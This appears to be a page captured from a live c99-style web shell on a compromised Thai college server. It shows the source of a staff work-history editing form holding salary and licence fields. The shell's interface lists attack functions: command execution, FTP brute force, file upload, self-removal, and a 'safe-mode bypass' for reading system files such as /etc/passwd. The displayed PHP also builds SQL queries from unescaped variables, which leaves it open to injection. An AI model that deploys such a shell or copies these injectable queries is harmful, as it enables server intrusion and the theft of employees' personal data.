!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Money_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Edit_Work_History.php (25.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "project_tb";
        
        
$myTable2PK "codeId";
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE   Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);
        
        
$Teacher_code $rs['Teacher_code'];
       
//
        
$sql4 "Select * From   history_position_tb   Where  Teacher_code='$Teacher_code' AND  Flag ='Y'   ";
         
$result4mysql_query($sql4) or die(" Error").mysql_error();
          
$rs4 mysql_fetch_array($result4);
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลประวัติส่วนตัว - แก้ไขข้อมูลประวัติการทำงาน</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        
/**  Query เพื่อหา Numrows ก่อน  */
    
?>
    <fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="Edit_Update_Work.php">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Show_Work_History.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลประวัติส่วนตัว</a> &raquo; <span class="NOTE">แก้ไขข้อมูลประวัติการทำงาน</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="150" align="center"><table width="93%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#EAEAEA" style="border:0px solid gray">
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ประเภทบุคลากร</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","1"))){echo "checked";} ?> value="1" onkeypress="return handleEnter(this, event)" /> ข้าราชการ
                          <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","2"))){echo "checked";} ?> value="2" onkeypress="return handleEnter(this, event)" /> พนักงานของรัฐ
                          <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","3"))){echo "checked";} ?> value="3" onkeypress="return handleEnter(this, event)" /> ลูกจ้างประจำ
                          <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","4"))){echo "checked";} ?> value="4" onkeypress="return handleEnter(this, event)" /> ลูกจ้างชั่วคราว
                          <input type="radio" name="Person_type" <?php if (!(strcmp("$rs[Person_type]","5"))){echo "checked";} ?> value="5" onkeypress="return handleEnter(this, event)" />
ลูกจ้างชั่วคราว(เหมาจ่าย)</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-3">ประเภทอาจารย์</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td><input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","1"))){echo "checked";} ?> value="1" onkeypress="return handleEnter(this, event)" /> อาจารย์ทันตแพทย์
                          <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","2"))){echo "checked";} ?> value="2" onkeypress="return handleEnter(this, event)" /> วิทยาจารย์
                          <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","3"))){echo "checked";} ?> value="3" onkeypress="return handleEnter(this, event)" /> อาจารย์พิเศษ</td>
                          </tr>
                          <tr>
                            <td><input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","4"))){echo "checked";} ?> value="4" onkeypress="return handleEnter(this, event)" /> อาจารย์เภสัช
                            <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","5"))){echo "checked";} ?> value="5" onkeypress="return handleEnter(this, event)" /> อาจารย์พยาบาล
                            <input type="radio" name="Teacher_type" <?php if (!(strcmp("$rs[Teacher_type]","6"))){echo "checked";} ?> value="6" onkeypress="return handleEnter(this, event)" /> 
                            สายสนับสนุน</td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-5">สถานะตำแหน่ง</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","01"))){echo "checked";} ?> value="01" onkeypress="return handleEnter(this, event)">ทันตแพทย์ 
                          <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","02"))){echo "checked";} ?> value="02" onkeypress="return handleEnter(this, event)"> เภสัชกร
                          <input type="radio" name="Dentis_code" <?php if (!(strcmp("$rs[Dentis_code]","03"))){echo "checked";} ?> value="03" onkeypress="return handleEnter(this, event)" /> อายุรเวท</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td width="170" align="right" valign="top" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10 PADDING-TOP-3">ความเชี่ยวชาญ</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-TOP-5"><textarea name="Skill" cols="60" rows="5" id="Skill"><? echo htmlspecialchars_decode$rs['Skill'] ); ?></textarea></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เลขที่ใบประกอบวิชาชีพ</td>
                        <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                      <td width="541" nowrap="nowrap" bgcolor="#FFFFFF"><input name="Gover_id" type="text" id="Gover_id" value="<? echo $rs['Gover_id'] ;?>" size="10" maxlength="20" /> 
                        หมดอายุวันที่
                          <select name="mDate1" id="mDate1" class="select" >
                            <?php
           $Date 
$rs[Date_gover];
           
$yearthai explode("-",$Date );
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                          </select>
เดือน
<select name="mMonth1" id="mMonth1" class="select" >
  <?php
          $Date  
$rs[Date_gover];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear1" type="text" id="mYear1" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เลขที่สมาชิกสภาการพยาบาล</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Forum_nid" type="text" id="Forum_nid" value="<? echo $rs['Forum_nid'] ;?>" size="10" maxlength="10" /></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เลขที่สมาชิกสมาคมพยาบาล</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Club_nid" type="text" id="Club_nid" value="<?  echo $rs['Club_nid'];?>" size="10" maxlength="10" /></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">รหัสงานพัฒนาบุคคลากร</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Club_no" type="text" id="Club_no" value="<?  echo $rs['Club_no'];?>" size="10" maxlength="20" /></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีที่เริ่มรับราชการ</td>
                        <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="541" nowrap="nowrap" bgcolor="#FFFFFF"></a>วันที่
                          <select name="mDate2" id="mDate2" class="select" >
                            <?php
           $Date  
$rs[Year_gov];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                          </select>
เดือน
<select name="mMonth2" id="mMonth2" class="select" >
  <?php
          $Date  
$rs[Year_gov ];
           
$yearthai explode("-",$Date );
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ. <input name="mYear2" type="text" id="mYear2" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /></td>
                </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีที่เริ่มทำงานในวิทยาลัย</td>
                        <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="541" nowrap="nowrap" bgcolor="#FFFFFF">
                          วันที่
                          <select name="mDate3" id="mDate3" class="select" >
                            <?php
           $Date   
$rs[Year_coll ];
           
$yearthai explode("-",$Date );
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                          </select>
เดือน
<select name="mMonth3" id="mMonth3" class="select" >
  <?php
          $Date   
$rs[Year_coll ];
           
$yearthai explode("-",$Date );
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear3" type="text" id="mYear3" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /></td>
                </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีที่เริ่มทำงานในหน่วยงาน</td>
                        <td width="10" nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="541" nowrap="nowrap" bgcolor="#FFFFFF">
                          วันที่
                          <select name="mDate4" id="mDate4" class="select" >
                            <?php
           $Date   
$rs[Year_fac ];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                          </select>
เดือน
<select name="mMonth4" id="mMonth4" class="select" >
  <?php
          $Date  
$rs[Year_fac ];
           
$yearthai explode("-",$Date );
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
พ.ศ.
<input name="mYear4" type="text" id="mYear4" value="<? echo $mYear?>" size="3" maxlength="4" style="text-align:center" /></td>
                </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เงินเดือน</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text"  value="<?  echo $rs['Salary_1'];?> " size="10" maxlength="7" style="text-align:center"  disabled="disabled" />
                          <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                          <input name="Salary_1" type="hidden" id="Salary_1" value="<? echo $rs4['Salary']; ?>" />
                        </span></font></strong> บาท</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เงินค่าตอบแทนวิชาชีพ </td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text"   value ="<?  echo $rs['Salary_2'];?>" size="10" maxlength="7" style="text-align:center" disabled="disabled"  />
                          <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                          <input name="Salary_2" type="hidden" id="Salary_2" value="<? echo $rs4['Salary_2']; ?>" />
                        </span></font></strong> บาท</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">เงินประจำตำแหน่ง </td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><input type="text" value="<?  echo $rs['Salary_3'];?>" size="10" maxlength="7" style="text-align:center" disabled="disabled"  />
                          <strong><font color="#000000" size="2" face="Tahoma"><span style="padding:5px 0px 5px 0px">
                          <input name="Salary_3" type="hidden" id="Salary_3" value="<? echo $rs4['Salary_3']; ?>" />
                        </span></font></strong>บาท</td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ตำแหน่งทางราชการ</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bordercolor="#E7FAFE" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="PositionId" id="PositionId">
                            <option value=""></option>
                            <?php
                  $sql4 
" SELECT *  FROM  position_tb    ORDER  BY  PositionId   ASC  ";
                  
$result4 mysql_query($sql4);
                  while( 
$rs4 mysql_fetch_array($result4) ) {
                
?>
                            <option value="<?=$rs4['PositionId'];?><?php if( $rs4['PositionId']==$rs['PositionId'] ) echo 'selected';?>>
                              <?=$rs4['Position_name'];?>
                            </option>
                            <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                          </select>
                        </font></strong></font></td>
                      </tr>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ตำแหน่งการบริหาร</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><input name="Manage_pos" type="text" id="Manage_pos" value="<? echo $rs['Manage_pos'];?>" size="30" maxlength="250" /></td>
                      </tr>
                      <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE">
                        <td height="20" align="right" nowrap="nowrap" bordercolor="#FFFFFF" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">สังกัดหน่วยงาน/ภาควิชา</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF">&nbsp;</td>
                        <td nowrap="nowrap" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="Faculty_code" id="Faculty_code">
                            <?php
                       
                                $strSQL3 
" SELECT * FROM   faculty_tb     ";
                                
$result3 mysql_query($strSQL3);
                                while( 
$rs3 mysql_fetch_array($result3) ) {
                            
?>
                            <option value="<?=$rs3['Faculty_code'];?><?php if( $rs3['Faculty_code']==$rs['Faculty_code'] ) echo 'selected'?>>
                              <?=$rs3['Faculty_name'];?>
                            </option>
                            <?php
                                
# while
                            
?>
                          </select>
                          </font></strong></font></td>
                      </tr>
                      <tr bgcolor="#ECF5FF">
                        <td height="20" align="right" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">กลุ่ม/งาน</span></td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                          <select name="conId" id="conId">
                            <?php
                                
//$Faculty_code = $rs['Faculty_code'] ;
                                
$strSQL4 " SELECT * FROM   facultycon_tb  Where   Faculty_code='$rs[Faculty_code]'  ";
                                
$result4 mysql_query($strSQL4);
                                while( 
$rs4 mysql_fetch_array($result4) ) {
                            
?>
                            <option value="<?=$rs4['conId'];?><?php if( $rs4['conId']==$rs['conId'] ) echo 'selected'?>>
                              <?=$rs4['Group_name'];?>
                            </option>
                            <?php
                                
# while
                            
?>
                          </select>
                        </font></strong></font></td>
                      </tr>
                      <tr bgcolor="#ECF5FF">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="20" bgcolor="#FFFFFF"><input type="hidden" name="Teacher_code"  value="<? echo $Teacher_code?>" />
                          <input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" />&nbsp;
                          <input type="reset" name="Reset" id="button" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
                        &nbsp;&nbsp;
                        <input type="button" name="button2" id="button2" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='Show_Work_History.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
                      </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.021 ]--